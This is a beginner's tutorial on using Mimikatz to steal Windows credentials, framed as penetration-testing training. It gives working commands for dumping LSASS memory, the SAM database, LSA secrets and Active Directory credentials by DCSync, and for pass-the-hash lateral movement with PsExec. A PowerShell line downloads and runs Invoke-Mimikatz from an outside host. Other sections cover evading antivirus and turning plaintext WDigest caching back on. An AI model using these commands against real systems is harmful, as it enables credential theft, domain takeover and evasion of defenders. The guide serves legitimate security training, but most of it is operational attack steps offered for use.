Mimikatz Windows Tutorial - Beginner's Guide (Part 1)

Mimikatz is arguably the single most important post-exploitation tool for Windows environments. Created by Benjamin Delpy (gentilkiwi), it can extract plaintext passwords, password hashes, PIN codes, and Kerberos tickets from memory. If you are getting into penetration testing and have not learned Mimikatz yet, this guide will get you started with the fundamentals.

What Does Mimikatz Actually Do?

At its core, Mimikatz interacts with the Windows Local Security Authority Subsystem Service (LSASS). LSASS is the process responsible for enforcing security policy, handling logins, and managing credentials on a Windows system. When users log in, their credentials are cached in the LSASS process memory for single sign-on purposes.

Mimikatz reads this memory and extracts the cached credentials. Depending on the Windows version and configuration, you might get:

• Plaintext passwords (on older systems or specific configurations)
• NTLM password hashes
• Kerberos tickets
• WDigest credentials
• PIN codes and smart card credentials

This makes Mimikatz invaluable during the lateral movement phase of a penetration test, where you need credentials to pivot to other systems.

Prerequisites

To run Mimikatz successfully, you typically need:

• Administrative privileges on the target system (local admin or SYSTEM)
• SeDebugPrivilege - needed to read the memory of the LSASS process

If you have a Meterpreter session, getting SYSTEM is straightforward:

meterpreter > getsystem

Or from a local admin command prompt:

PsExec.exe -s -i cmd.exe

Getting Started - Basic Commands

Download Mimikatz from the official GitHub repository (github.com/gentilkiwi/mimikatz). Transfer it to the target and run it:

mimikatz.exe

You will see the Mimikatz prompt. First, check and elevate your privileges:

mimikatz # privilege::debug
Privilege '20' OK

If you see "Privilege '20' OK", you have SeDebugPrivilege and can proceed. If this fails, you need to escalate your privileges first.

Dumping Credentials with sekurlsa

The sekurlsa module is where most of the action happens. It reads credentials directly from LSASS memory.

sekurlsa::logonpasswords

This is the command you will use most often. It dumps all available credentials for every logged-on user:

mimikatz # sekurlsa::logonpasswords

The output shows each authentication package (msv, tspkg, wdigest, kerberos, ssp) and the credentials it holds. Here is an example of what you might see:

Authentication Id : 0 ; 312345 (00000000:0004c559)
Session           : Interactive from 1
User Name         : administrator
Domain            : CORP
Logon Server      : DC01
        msv :
         [00000003] Primary
         * Username : administrator
         * Domain   : CORP
         * NTLM     : e19ccf75ee54e06b06a5907af13cef42
         * SHA1     : 9d4c343f72e30c02ebd1c118d6f3204a27ba2c00
        wdigest :
         * Username : administrator
         * Domain   : CORP
         * Password : P@ssw0rd!2019
        kerberos :
         * Username : administrator
         * Domain   : CORP.LOCAL
         * Password : P@ssw0rd!2019

On older systems (Windows 7, Server 2008 R2, or newer systems with WDigest enabled), you may get plaintext passwords in the wdigest and kerberos sections. On newer systems with default configurations, you will typically only get NTLM hashes.

sekurlsa::msv

If you only want the NTLM hashes without all the extra output:

mimikatz # sekurlsa::msv

sekurlsa::tickets

Extract Kerberos tickets from memory:

mimikatz # sekurlsa::tickets /export

This saves .kirbi ticket files to the current directory. These can be used for pass-the-ticket attacks.

The lsadump Module

The lsadump module extracts credentials from different sources than sekurlsa.

lsadump::sam

Dump the local SAM database (local user password hashes):

mimikatz # lsadump::sam

Or target the SAM hive files directly:

mimikatz # lsadump::sam /system:C:\Windows\System32\config\SYSTEM /sam:C:\Windows\System32\config\SAM

lsadump::lsa /patch

Dump LSA secrets, which can contain service account passwords and other sensitive data:

mimikatz # lsadump::lsa /patch

lsadump::dcsync

On a domain controller (or with the right domain privileges), DCSync replicates credentials from Active Directory as if Mimikatz were a domain controller:

mimikatz # lsadump::dcsync /user:CORP\administrator

This is extremely powerful because it does not require running Mimikatz on the domain controller itself. You just need a user with Replicating Directory Changes permissions.

Pass-the-Hash

One of the most practical uses of extracted hashes is pass-the-hash (PtH). Even without cracking the NTLM hash to plaintext, you can use it to authenticate to other systems:

mimikatz # sekurlsa::pth /user:administrator /domain:CORP /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:cmd.exe

This opens a new command prompt authenticated as the specified user using their NTLM hash. From there, you can access network resources, PsExec to other machines, or run any command as that user.

For lateral movement:

PsExec.exe \\targetserver cmd.exe

The new cmd.exe session from the PtH attack already has the domain admin token, so PsExec will use those credentials automatically.

Running Mimikatz from Memory

Dropping mimikatz.exe to disk is likely to trigger antivirus. Running it from memory is much stealthier.

PowerShell (Invoke-Mimikatz)

The PowerSploit framework includes a PowerShell version:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

This loads Mimikatz entirely in memory without writing to disk.

Meterpreter Extension

From a Meterpreter session, load the built-in kiwi extension (which is based on Mimikatz):

meterpreter > load kiwi
meterpreter > creds_all
meterpreter > kiwi_cmd "sekurlsa::logonpasswords"

Reflective DLL Injection

More advanced operators use reflective DLL injection to load Mimikatz into another process's memory space, avoiding both disk writes and suspicious process creation.

Avoiding Detection

Modern endpoint protection tools actively look for Mimikatz. Here are common approaches to avoid detection:

Obfuscation: Recompile Mimikatz from source with string modifications. Change function names, remove banners, and alter the binary signature.

Process dumping: Instead of running Mimikatz on the target, dump the LSASS process memory and analyze it offline:

# On target
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full

# On your machine
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

This way Mimikatz never touches the target system.

Alternative tools: Tools like pypykatz (Python implementation) or SafetyKatz (a .NET version that decrypts minidumps) achieve similar results with different signatures.

Enabling WDigest on Newer Systems

On Windows 8.1+ and Server 2012 R2+, WDigest plaintext credential caching is disabled by default. If you have admin access and want to capture plaintext credentials for future logins, you can re-enable it:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

After the next user login, their plaintext password will be cached in memory. Remember this is a configuration change that should be documented and reversed during cleanup.

Quick Reference Cheat Sheet

What is Next

In Part 2, we will cover advanced Mimikatz techniques including Golden Ticket and Silver Ticket attacks, Skeleton Key, and credential guard bypass. For now, practice these fundamentals in your lab and get comfortable with the workflow.

Set up a small Active Directory lab with a domain controller and a few workstations. Log in with different users, then use Mimikatz to extract their credentials. This hands-on practice will make these techniques second nature during real engagements.